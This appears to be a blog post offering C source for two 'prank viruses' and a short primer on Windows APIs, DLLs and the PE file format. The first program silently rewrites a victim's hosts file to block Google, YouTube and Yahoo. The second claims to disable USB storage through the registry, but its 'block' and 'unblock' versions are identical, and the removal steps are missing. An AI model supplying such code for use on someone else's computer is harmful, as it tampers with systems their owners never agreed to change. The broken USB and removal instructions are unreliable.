Prank your Friend : Block Websites on his PC Virus
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)
7. Delete all such entries which contain the names of blocked sites.
Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)
Disable USB Ports : Virus Source Code
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
INTERNALS OF PROGRAMMING APPLICATIONS
People have always asked me is the programming that college teachers teach enough for us.
Here is the answer
it never ends.....
Any executable in order to work needs some functions to implement its features.these functions are called API.
It stands for application programming interface.
An api is set of functions that help in developement of various applications for a specific platform . These functions may provide the functionality ranging from the most basic mouse movement to the advanced process spawning tasks.Consider them just to be your normal c style functions (like add()) that are provided by the vendor or may be user defined.
dll::
dynamic linked libraries are nothing but binary files containing the definitons of the various API's.
example::
void func(){};
void main()
{
func();
}
In the function above we can also give the defintion of func() in another .c source file and then that file be included by defining the func() function in a separate file and using the directive::
#include "name of file"
before the main() function.
example::
#include "f.c"
//contents of f.c::
//void func(){}
void main()
{
func();
}
Same is the case with dlls.
For example in order to use the API MessageBox() we may use the windows.h header file which will cause the dll associated with the MessageBox API(user32.dll in this case ) to be loaded automatically at the run time by the linker(or operating system ,for simplicity). dll files contain the DllMain function (which is called at the time the dlla are initialized ) besides the usual function to export to the applicaions.
Why we add the name dynamic to them ? well the reason is that they are loaded at the runtime
(ie loaded dynamically) by the operating system into the process address space(ie the region where executable is mapped in the primary memory of the system)
What is the structure of the process like?
The PE file::
windows conforms to the pe(portable execuatble) /coff(common object file format) that defines how the executable image(file) should be laid out in the memory.
One of the main features of the pe file format is that it starts with the typical dos stub that contains the initials MZ(Mark Zbikowski)
that means if you were to open any .exe,or .dll or .sys file in notepad you would surely find these initials at the beginning...
nice alternative of checking extensions if someone has disabled the extensions isn't it! :)
there are various sections inside a pe file .these sections are .text(contains the code),.data(contains the initialized data),.rsrc section(conatins resources bitmap,cursor etc.) and there are few others.
The windows loader reads the information contained in the pe file located on the disc and uses it to construct fully working process loaded in the ram...
this is how everything works underneath an application without you even knowing it!
Posted by:
Cr4nk